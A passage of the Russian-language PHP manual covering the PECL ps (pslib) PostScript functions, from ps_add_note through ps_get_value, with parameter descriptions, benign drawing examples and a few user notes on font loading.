Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

llx

Координата X левого нижнего угла.

lly

Координата Y левого нижнего угла.

urx

Координата X правого верхнего угла.

ury

Координата Y правого верхнего угла.

contents

Текст примечания.

title

Название примечания, отображаемое в заголовке примечания.

icon

Значок, отображаемый, если заметка сложена. Может быть: comment, insert, note, paragraph, newparagraph, key или help.

open

Если open не равно нулю, заметка будет отображаться развёрнутой после открытия документа с помощью программы просмотра PDF.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_add_pdflink() - Добавляет ссылку на страницу в другом PDF-документе
  • ps_add_launchlink() - Добавляет ссылку, запускающую файл
  • ps_add_locallink() - Добавляет ссылку на страницу того же документа
  • ps_add_weblink() - Добавляет ссылку на веб-страницу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ссылку на страницу в другом PDF-документе

  • « ps_add_note
  • ps_add_weblink »
  • PHP Manual
  • Функции PS
  • Добавляет ссылку на страницу в другом PDF-документе

ps_add_pdflink

(PECL ps >= 1.1.0)

ps_add_pdflink — Добавляет ссылку на страницу в другом PDF-документе

Описание

ps_add_pdflink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $filename,
int $page,
string $dest
): bool

Добавляет гиперссылку в указанном месте, указывающую на другой документ PDF. Нажатие по ссылке приведёт к переходу на данную страницу. Номер первой страницы документа - 1.

Исходная позиция гиперссылки представляет собой прямоугольник с нижним левым углом в (llx, lly) и его правым верхним углом в (urx, ury). У прямоугольника по умолчанию есть тонкая синяя рамка.

Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

llx

Координата X левого нижнего угла.

lly

Координата Y левого нижнего угла.

urx

Координата X правого верхнего угла.

ury

Координата Y правого верхнего угла.

filename

Имя PDF-документа, который будет открыт при нажатии на ссылку.

page

Номер страницы, отображаемой при переходе по ссылке.

dest

Параметр dest определяет способ просмотра документа. Может быть: fitpage, fitwidth, fitheight или fitbbox.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_add_launchlink() - Добавляет ссылку, запускающую файл
  • ps_add_locallink() - Добавляет ссылку на страницу того же документа
  • ps_add_weblink() - Добавляет ссылку на веб-страницу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ссылку на веб-страницу

  • « ps_add_pdflink
  • ps_arc »
  • PHP Manual
  • Функции PS
  • Добавляет ссылку на веб-страницу

ps_add_weblink

(PECL ps >= 1.1.0)

ps_add_weblink — Добавляет ссылку на веб-страницу

Описание

ps_add_weblink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $url
): bool

Добавляет гиперссылку в указанном месте, указывающую на веб-страницу. Исходная позиция гиперссылки представляет собой прямоугольник с нижним левым углом в (llx, lly) и его правым верхним углом в (urx, ury). У прямоугольника по умолчанию есть тонкая синяя рамка.

Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

llx

Координата X левого нижнего угла.

lly

Координата Y левого нижнего угла.

urx

Координата X правого верхнего угла.

ury

Координата Y правого верхнего угла.

url

URL-адрес гиперссылки, которая открывается при нажатии на ссылку, например, http://www.php.net.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_add_launchlink() - Добавляет ссылку, запускающую файл
  • ps_add_locallink() - Добавляет ссылку на страницу того же документа
  • ps_add_pdflink() - Добавляет ссылку на страницу в другом PDF-документе

User Contributed Notes

There are no user contributed notes for this page.


Рисует дугу против часовой стрелки

  • « ps_add_weblink
  • ps_arcn »
  • PHP Manual
  • Функции PS
  • Рисует дугу против часовой стрелки

ps_arc

(PECL ps >= 1.1.0)

ps_arc — Рисует дугу против часовой стрелки

Описание

ps_arc(
resource $psdoc,
float $x,
float $y,
float $radius,
float $alpha,
float $beta
): bool

Рисует часть круга со средней точкой в точке (x, y). Дуга начинается под углом alpha и заканчивается под углом beta. Она рисуется против часовой стрелки (используйте ps_arcn() для рисования по часовой стрелке). Дочерний путь, добавленный к текущему пути, начинается на дуге под углом alpha и заканчивается на дуге под углом beta.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X средней точки круга.

y

Координата Y средней точки круга.

radius

Радиус круга.

alpha

Начальный угол в градусах.

beta

Конечный угол в градусах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_arcn() - Рисует дугу по часовой стрелке

User Contributed Notes

There are no user contributed notes for this page.


Рисует дугу по часовой стрелке

  • « ps_arc
  • ps_begin_page »
  • PHP Manual
  • Функции PS
  • Рисует дугу по часовой стрелке

ps_arcn

(PECL ps >= 1.1.0)

ps_arcn — Рисует дугу по часовой стрелке

Описание

ps_arcn(
resource $psdoc,
float $x,
float $y,
float $radius,
float $alpha,
float $beta
): bool

Рисует часть круга со средней точкой в точке (x, y). Дуга начинается под углом alpha и заканчивается под углом beta. Она рисуется по часовой стрелке (используйте ps_arc() для рисования против часовой стрелки). Дочерний путь, добавленный к текущему пути, начинается на дуге под углом alpha и заканчивается на дуге под углом beta.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X средней точки круга.

y

Координата Y средней точки круга.

radius

Радиус круга.

alpha

Начальный угол в градусах.

beta

Конечный угол в градусах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_arc() - Рисует дугу против часовой стрелки

User Contributed Notes

There are no user contributed notes for this page.


Начинает новую страницу

  • « ps_arcn
  • ps_begin_pattern »
  • PHP Manual
  • Функции PS
  • Начинает новую страницу

ps_begin_page

(PECL ps >= 1.1.0)

ps_begin_page — Начинает новую страницу

Описание

ps_begin_page(resource $psdoc, float $width, float $height): bool

Начинает новую страницу. Хотя параметры width и height подразумевают различный размер страницы для каждой страницы, это невозможно в PostScript. Первый вызов ps_begin_page() устанавливает размер страницы для всего документа. Последующие вызовы не будут иметь никакого эффекта, кроме создания новой страницы. Ситуация иная, если вы собираетесь преобразовать документ PostScript в PDF. Функция помещает в документ метки PDF, которые могут индивидуально устанавливать размер каждой страницы. Полученный PDF-документ будет иметь разные размеры страниц.

Хотя PostScript не знает разных размеров страниц, pslib помещает в документ ограничительную рамку для каждой страницы. Этот размер оценивается некоторыми программами просмотра PostScript и имеет приоритет над BoundingBox в заголовке документа. Это может привести к неожиданным результатам, если вы установите BoundingBox, нижний левый угол которого не равен (0, 0), потому что у ограничивающей рамки страницы всегда будет нижний левый угол (0, 0) и перезапишет глобальную настройку.

Каждая страница инкапсулируется в режим сохранения/восстановления. Это означает, что большинство настроек, сделанных на одной странице, не будут сохранены на следующей странице.

Если до первого вызова ps_begin_page() не было вызова ps_findfont(), то будет выведен заголовок документа PostScript, а размер ограничивающей рамки будет установлен на первая страница. Нижний левый угол ограничивающей рамки установлен в (0, 0). Если ps_findfont() была вызвана раньше, значит, заголовок уже был выведен и документ не будет иметь корректной ограничительной рамки. Чтобы предотвратить это, следует вызвать ps_set_info(), чтобы установить информационное поле BoundingBox и, возможно, Orientation перед любым вызовом ps_findfont() или ps_begin_page().

Замечание:

До версии 0.2.6 pslib функция всегда будет перезаписывать BoundingBox и Orientation, если они была установлены ранее с помощью ps_set_info() и ps_findfont() ранее не вызывалась.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

width

Ширина страницы в пикселях, например, 596 для формата А4.

height

Высота страницы в пикселях, например, 842 для формата А4.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_end_page() - Завершает страницу
  • ps_findfont() - Загружает шрифт
  • ps_set_info() - Устанавливает информационные поля документа

User Contributed Notes

There are no user contributed notes for this page.


Начинает новый узор

  • « ps_begin_page
  • ps_begin_template »
  • PHP Manual
  • Функции PS
  • Начинает новый узор

ps_begin_pattern

(PECL ps >= 1.2.0)

ps_begin_pattern — Начинает новый узор

Описание

ps_begin_pattern(
resource $psdoc,
float $width,
float $height,
float $xstep,
float $ystep,
int $painttype
): int|false

Начинает новый узор. Узор похож на страницу, содержащую, например, рисунок, который можно использовать для заливки областей. Он используется как цвет, вызывая ps_setcolor() и устанавливая цветовое пространство в pattern.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

width

Ширина узора в пикселях.

height

Высота узора в пикселях.

x-step

Расстояние в пикселях размещений узора по горизонтали.

y-step

Расстояние в пикселях размещений узора по вертикали.

painttype

Может быть 1 или 2.

Возвращаемые значения

Идентификатор узора или false в случае возникновения ошибки.

Примеры

Пример #1 Создание и использование узора

<?php
$ps = ps_new();

if (!ps_open_file($ps, "pattern.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "pattern.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример узора");

$pspattern = ps_begin_pattern($ps, 10.0, 10.0, 10.0, 10.0, 1);
ps_setlinewidth($ps, 0.2);
ps_setcolor($ps, "stroke", "rgb", 0.0, 0.0, 1.0, 0.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 7, 7);
ps_stroke($ps);
ps_moveto($ps, 0, 7);
ps_lineto($ps, 7, 0);
ps_stroke($ps);
ps_end_pattern($ps);

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "both", "pattern", $pspattern, 0.0, 0.0, 0.0);
ps_rect($ps, 50, 400, 200, 200);
ps_fill($ps);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

Смотрите также

  • ps_end_pattern() - Завершает шаблон
  • ps_setcolor() - Устанавливает текущий цвет
  • ps_shading_pattern() - Создаёт узор на основе затенения

User Contributed Notes

There are no user contributed notes for this page.


Начинает новый шаблон

  • « ps_begin_pattern
  • ps_circle »
  • PHP Manual
  • Функции PS
  • Начинает новый шаблон

ps_begin_template

(PECL ps >= 1.2.0)

ps_begin_template — Начинает новый шаблон

Описание

ps_begin_template(resource $psdoc, float $width, float $height): int

Начинает новый шаблон. На языке postscript шаблон называется формой. Он создаётся аналогично узору, но используется как изображение. Шаблоны часто используются для рисунков, которые размещаются в документе несколько раз, например как логотип компании. В шаблоне можно использовать все функции рисования. Шаблон не будет нарисован, пока он не будет размещён с помощью ps_place_image().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

width

Ширина шаблона в пикселях.

height

Высота шаблона в пикселях.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Создание и использование шаблона

<?php
$ps = ps_new();

if (!ps_open_file($ps, "template.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "template.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример шаблона");

$pstemplate = ps_begin_template($ps, 30.0, 30.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 30, 30);
ps_moveto($ps, 0, 30);
ps_lineto($ps, 30, 0);
ps_stroke($ps);
ps_end_template($ps);

ps_begin_page($ps, 596, 842);
ps_place_image($ps, $pstemplate, 20.0, 20.0, 1.0);
ps_place_image($ps, $pstemplate, 50.0, 30.0, 0.5);
ps_place_image($ps, $pstemplate, 70.0, 70.0, 0.6);
ps_place_image($ps, $pstemplate, 30.0, 50.0, 1.3);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

Смотрите также

  • ps_end_template() - Завершает шаблон

User Contributed Notes

There are no user contributed notes for this page.


Рисует круг

  • « ps_begin_template
  • ps_clip »
  • PHP Manual
  • Функции PS
  • Рисует круг

ps_circle

(PECL ps >= 1.1.0)

ps_circle — Рисует круг

Описание

ps_circle(
resource $psdoc,
float $x,
float $y,
float $radius
): bool

Рисует круг со средней точкой в точке (x, y). Круг начинается и заканчивается в позиции (x+radius, y). Если функция вызывается вне пути, она начнёт новый путь. Если функция вызывается внутри пути, она добавит круг как дочерний путь. Если последняя операция рисования не заканчивается точкой (x+radius, y), тогда на пути будет разрыв.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X центра круга.

y

Координата Y центра круга.

radius

Радиус круга.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_arc() - Рисует дугу против часовой стрелки
  • ps_arcn() - Рисует дугу по часовой стрелке

User Contributed Notes

There are no user contributed notes for this page.


Отрисовка клипов по текущему пути

  • « ps_circle
  • ps_close_image »
  • PHP Manual
  • Функции PS
  • Отрисовка клипов по текущему пути

ps_clip

(PECL ps >= 1.1.0)

ps_clip — Отрисовка клипов по текущему пути

Описание

ps_clip(resource $psdoc): bool

Берёт текущий путь и использует его для определения границы области отсечения. Всё, что нарисовано за пределами этой области, не будет видно.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_closepath() - Замыкает путь

User Contributed Notes

There are no user contributed notes for this page.


Закрывает изображение и освобождает память

  • « ps_clip
  • ps_close »
  • PHP Manual
  • Функции PS
  • Закрывает изображение и освобождает память

ps_close_image

(PECL ps >= 1.1.0)

ps_close_image — Закрывает изображение и освобождает память

Описание

ps_close_image(resource $psdoc, int $imageid): void|false

Закрывает изображение и освобождает его ресурсы. Как только изображение было закрыто, его больше нельзя использовать.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

imageid

Идентификатор ресурса изображения, возвращённый функцией ps_open_image() или ps_open_image_file().

Возвращаемые значения

Возвращает null в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_open_image() - Считывает изображение для последующего размещения
  • ps_open_image_file() - Открывает изображение из файла

User Contributed Notes

There are no user contributed notes for this page.


Закрывает документ PostScript

  • « ps_close_image
  • ps_closepath_stroke »
  • PHP Manual
  • Функции PS
  • Закрывает документ PostScript

ps_close

(PECL ps >= 1.1.0)

ps_close — Закрывает документ PostScript

Описание

ps_close(resource $psdoc): bool

Закрывает документ PostScript.

Функция записывает количество страниц в документе PostScript. Она также записывает иерархию закладок. ps_close() не освобождает ресурсы, как ps_delete().

Функция также вызывается функцией ps_delete(), если она не была вызвана ранее.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_open_file() - Открывает файл для вывода
  • ps_delete() - Удаляет все ресурсы документа PostScript

User Contributed Notes

There are no user contributed notes for this page.


Замыкает и обводит контур

  • « ps_close
  • ps_closepath »
  • PHP Manual
  • Функции PS
  • Замыкает и обводит контур

ps_closepath_stroke

(PECL ps >= 1.1.0)

ps_closepath_stroke — Замыкает и обводит контур

Описание

ps_closepath_stroke(resource $psdoc): bool

Соединяет последнюю точку с первой точкой пути и рисует получившуюся замкнутую линию.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_closepath() - Замыкает путь

User Contributed Notes

There are no user contributed notes for this page.


Замыкает путь

  • « ps_closepath_stroke
  • ps_continue_text »
  • PHP Manual
  • Функции PS
  • Замыкает путь

ps_closepath

(PECL ps >= 1.1.0)

ps_closepath — Замыкает путь

Описание

ps_closepath(resource $psdoc): bool

Соединяет последнюю точку с первой точкой пути. Полученный контур можно использовать для обводки, заливки, обрезки и т.д.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_clip() - Отрисовка клипов по текущему пути
  • ps_closepath_stroke() - Замыкает и обводит контур

User Contributed Notes

There are no user contributed notes for this page.


Продолжает текст в следующей строке

  • « ps_closepath
  • ps_curveto »
  • PHP Manual
  • Функции PS
  • Продолжает текст в следующей строке

ps_continue_text

(PECL ps >= 1.1.0)

ps_continue_text — Продолжает текст в следующей строке

Описание

ps_continue_text(resource $psdoc, string $text): bool

Выводит текст на одну строку ниже последней строки. Межстрочный интервал берётся из значения "leading", которое должно быть установлено с помощью ps_set_value(). Фактическое положение текста определяется значениями "textx" и "texty", которые можно запросить с помощью функции ps_get_value().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

Текст для вывода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_show() - Выводит текст
  • ps_show_xy() - Выводит текст в заданной позиции
  • ps_show_boxed() - Выводит текст в поле

User Contributed Notes

There are no user contributed notes for this page.


Рисует кривую

  • « ps_continue_text
  • ps_delete »
  • PHP Manual
  • Функции PS
  • Рисует кривую

ps_curveto

(PECL ps >= 1.1.0)

ps_curveto — Рисует кривую

Описание

ps_curveto(
resource $psdoc,
float $x1,
float $y1,
float $x2,
float $y2,
float $x3,
float $y3
): bool

Добавляет отрезок кубической кривой Безье, описанный тремя заданными контрольными точками, к текущему пути. points to the current path.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x1

Координата X первой контрольной точки.

y1

Координата Y первой контрольной точки.

x2

Координата X второй контрольной точки.

y2

Координата Y второй контрольной точки.

x3

Координата X третьей контрольной точки.

y3

Координата Y третьей контрольной точки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_lineto() - Рисует линию

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все ресурсы документа PostScript

  • « ps_curveto
  • ps_end_page »
  • PHP Manual
  • Функции PS
  • Удаляет все ресурсы документа PostScript

ps_delete

(PECL ps >= 1.1.0)

ps_delete — Удаляет все ресурсы документа PostScript

Описание

ps_delete(resource $psdoc): bool

В основном освобождает память, используемую документом. Также закрывает файл, если он не был ранее закрыт с помощью ps_close(). В любом случае вам следует закрыть файл с помощью ps_close() раньше, потому что ps_close() не только закрывает файл, но и выводит данные, содержащие комментарии PostScript, такие как количество страниц в документе и добавление иерархии закладок.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_close() - Закрывает документ PostScript

User Contributed Notes

There are no user contributed notes for this page.


Завершает страницу

  • « ps_delete
  • ps_end_pattern »
  • PHP Manual
  • Функции PS
  • Завершает страницу

ps_end_page

(PECL ps >= 1.1.0)

ps_end_page — Завершает страницу

Описание

ps_end_page(resource $psdoc): bool

Завершает страницу, которая была начата с помощью ps_begin_page(). Завершение страницы приведёт к выходу из текущего контекста рисования, который, например, требует перезагрузки шрифтов, если они загружались на странице и установки многих других параметров рисования, таких как ширина линии или цвет.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_begin_page() - Начинает новую страницу

User Contributed Notes

There are no user contributed notes for this page.


Завершает шаблон

  • « ps_end_page
  • ps_end_template »
  • PHP Manual
  • Функции PS
  • Завершает шаблон

ps_end_pattern

(PECL ps >= 1.2.0)

ps_end_pattern — Завершает шаблон

Описание

ps_end_pattern(resource $psdoc): bool

Завершает шаблон, который был начат с ps_begin_pattern(). Когда шаблон закончен, его можно использовать как цвет для заливки областей.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_begin_pattern() - Начинает новый узор

User Contributed Notes

There are no user contributed notes for this page.


Завершает шаблон

  • « ps_end_pattern
  • ps_fill_stroke »
  • PHP Manual
  • Функции PS
  • Завершает шаблон

ps_end_template

(PECL ps >= 1.2.0)

ps_end_template — Завершает шаблон

Описание

ps_end_template(resource $psdoc): bool

Завершает шаблон, который был начат с помощью ps_begin_template(). После завершения шаблона его можно использовать как изображение.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_begin_template() - Начинает новый шаблон

User Contributed Notes

There are no user contributed notes for this page.


Заполняет и обводит текущий путь

  • « ps_end_template
  • ps_fill »
  • PHP Manual
  • Функции PS
  • Заполняет и обводит текущий путь

ps_fill_stroke

(PECL ps >= 1.1.0)

ps_fill_stroke — Заполняет и обводит текущий путь

Описание

ps_fill_stroke(resource $psdoc): bool

Заполняет и обводит путь, построенный с помощью ранее вызванных функций рисования, таких как ps_lineto().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_fill() - Заполняет текущий путь
  • ps_stroke() - Рисует текущий путь

User Contributed Notes

There are no user contributed notes for this page.


Заполняет текущий путь

  • « ps_fill_stroke
  • ps_findfont »
  • PHP Manual
  • Функции PS
  • Заполняет текущий путь

ps_fill

(PECL ps >= 1.1.0)

ps_fill — Заполняет текущий путь

Описание

ps_fill(resource $psdoc): bool

Заполняет путь, созданный с помощью ранее вызванных функций рисования, таких как ps_lineto().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_fill_stroke() - Заполняет и обводит текущий путь
  • ps_stroke() - Рисует текущий путь

User Contributed Notes

There are no user contributed notes for this page.


Загружает шрифт

  • « ps_fill
  • ps_get_buffer »
  • PHP Manual
  • Функции PS
  • Загружает шрифт

ps_findfont

(PECL ps >= 1.1.0)

ps_findfont — Загружает шрифт

Описание

ps_findfont(
resource $psdoc,
string $fontname,
string $encoding,
bool $embed = false
): int

Загружает шрифт для дальнейшего использования. Перед выводом текста с загруженным шрифтом он должен быть установлен с помощью ps_setfont(). Функция нуждается в файле метрики шрифта Adobe, чтобы вычислить пространство, используемое символами. Шрифт, загруженный на страницу, будет доступен только на этой странице. Шрифты, которые будут использоваться во всем документе, должны быть загружены до первого вызова ps_begin_page(). Вызов ps_findfont() между страницами сделает шрифт доступным для всех следующих страниц.

Имя afm-файла должно быть fontname.afm. Если шрифт должен быть встроен, также должен присутствовать файл fontname.pfb, содержащий контур шрифта.

Вызов ps_findfont() перед первой страницей требует вывода заголовка PostScript, который включает BoundingBox для всего документа. Обычно BoundingBox устанавливается при первом вызове ps_begin_page(), который теперь идёт после ps_findfont(). Следовательно, BoundingBox не установлен, и при вызове ps_findfont() будет выдано предупреждение. Чтобы предотвратить эту ситуацию, следует вызвать ps_set_parameter() для установки BoundingBox до вызова ps_findfont().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

fontname

Название шрифта.

encoding

Функция ps_findfont() попытается загрузить файл, переданный в параметре encoding. Файлы кодирования имеют тот же синтаксис, что и используемые dvips(1). Они содержат вектор кодировки шрифта (который в настоящее время не используется, но должен присутствовать) и список дополнительных лигатур для расширения списка лигатур, полученных из файла afm.

encoding может быть null или пустой строкой, если должна использоваться кодировка по умолчанию (TeXBase1).

Если для кодировки установлено значение builtin, то перекодирования не будет и будет использоваться кодировка, специфичная для шрифта. Это очень полезно для символьных шрифтов.

embed

Если установлено значение > 0, шрифт будет встроен в документ. Для этого требуется наличие контура шрифта (файл .pfb).

Возвращаемые значения

Возвращает идентификатор шрифта или ноль в случае возникновения ошибки. Идентификатор - положительное число.

Смотрите также

  • ps_begin_page() - Начинает новую страницу
  • ps_setfont() - Устанавливает шрифт, который будет использоваться для следующего вывода

User Contributed Notes

yarych at bigmir dot net 25-Mar-2008 12:39
Ok, now I found the way to set the path I need for fonts - before calling ps_findfont() make a call like this:
<?php ps_set_parameter($psdoc, 'SearchPath', $fonts_dir); ?>

It works for pslib 0.4.1 version. (Looks like it didn't work in some earlier versions.)
yarych at bigmir dot net 29-Jan-2008 03:40
I've found out that pslib is searching for fonts in its data dir (/usr/share/pslib). There is no way to change the search path now.
pepe at dexef dot hu 13-Apr-2006 03:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com 25-Jul-2005 07:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.


Получает полный буфер, содержащий сгенерированные данные PS

  • « ps_findfont
  • ps_get_parameter »
  • PHP Manual
  • Функции PS
  • Получает полный буфер, содержащий сгенерированные данные PS

ps_get_buffer

(PECL ps >= 1.1.0)

ps_get_buffer — Получает полный буфер, содержащий сгенерированные данные PS

Описание

ps_get_buffer(resource $psdoc): string

Функция пока не реализована. Она всегда будет возвращать пустую строку. Идея для более поздней реализации состоит в том, чтобы записать содержимое файла postscript во внутренний буфер, если требуется создание в памяти, и получить содержимое буфера с помощью этой функции. В настоящее время документы, созданные в памяти, отправляются в браузер без буферизации.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

Смотрите также

  • ps_open_file() - Открывает файл для вывода

User Contributed Notes

There are no user contributed notes for this page.


Получает определённые параметры

  • « ps_get_buffer
  • ps_get_value »
  • PHP Manual
  • Функции PS
  • Получает определённые параметры

ps_get_parameter

(PECL ps >= 1.1.0)

ps_get_parameter — Получает определённые параметры

Описание

ps_get_parameter(resource $psdoc, string $name, float $modifier = ?): string|false

Получает несколько параметров, которые были прямо установлены ps_set_parameter() или косвенно одной из других функций. Параметры по определению являются строковыми значениями. Функцию нельзя использовать для получения ресурсов, которые также были установлены с помощью ps_set_parameter().

Параметр name может иметь следующие значения:

fontname

Имя текущего активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

fontencoding

Кодировка текущего активного шрифта.

dottedversion

Версия базовой библиотеки pslib в формате <major>.<minor>.<subminor>

scope

Текущий объём чертежа. Может быть: object, document, null, page, pattern, path, template, prolog, font, glyph.

ligaturedisolvechar

Символ, который растворяет лигатуру. Если вы используете шрифт, содержащий лигатуры `ff' и символ для растворения лигатуры `|', тогда `f|f' приведёт к двум `f' вместо лигатуры `ff'.

imageencoding

Кодировка, используемая для кодирования изображений. Может иметь значение hex или 85. Шестнадцатеричное кодирование использует два байта в файле postscript на каждый байт изображения. 85 - это кодировка Ascii85.

linenumbermode

Установите значение paragraph, если строки пронумерованы внутри абзаца или box, если они пронумерованы в пределах окружающего поля.

linebreak

Используется, только если текст выводится с помощью ps_show_boxed(). Если установлено значение true, возврат каретки добавит разрыв строки.

parbreak

Используется, только если текст выводится с помощью ps_show_boxed(). Если установлено значение true, возврат каретки начнёт новый абзац.

hyphenation

Используется, только если текст выводится с помощью ps_show_boxed(). Если установлено значение true, абзац будет расставлен через дефис, если дефисный словарь установлен и существует.

hyphendict

Имя файла словаря, используемого для расстановки переносов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

name

Имя параметра.

modifier

Идентификатор, необходимый, если запрашивается параметр ресурса, например, размер изображения. В таком случае передаётся идентификатор ресурса.

Возвращаемые значения

Возвращает значение параметра или false в случае возникновения ошибки.

Смотрите также

  • ps_set_parameter() - Устанавливает определённые параметры

User Contributed Notes

There are no user contributed notes for this page.


Получает определённые значения

  • « ps_get_parameter
  • ps_hyphenate »
  • PHP Manual
  • Функции PS
  • Получает определённые значения

ps_get_value

(PECL ps >= 1.1.0)

ps_get_value — Получает определённые значения

Описание

ps_get_value(resource $psdoc, string $name, float $modifier = ?): float

Получает несколько значений, установленных ps_set_value(). Значения по определению являются значениями с плавающей точкой.

Параметр name может иметь следующие значения:

fontsize

Размер текущего активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

font

Текущий активный шрифт.

imagewidth

Ширина изображения, идентификатор которого передаётся в параметре modifier.

imageheight

Высота изображения, идентификатор которого передаётся в параметре modifier.

capheight

Высота заглавной буквы M активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

ascender

Верхний элемент активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

descender

Нисходящий элемент активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

italicangle

Курсив активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

underlineposition

Подчёркивание активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

underlinethickness

Толщина подчёркивания активного шрифта или шрифта, идентификатор которого передаётся в параметре modifier.

textx

Текущая позиция по оси X для вывода текста.

texty

Текущая позиция по оси Y для вывода текста.

textrendering

Текущий режим отрисовки текста.

textrise

Пространство, на которое текст поднимается над базовой линией.

leading

Расстояние между строками текста в точках.

wordspacing

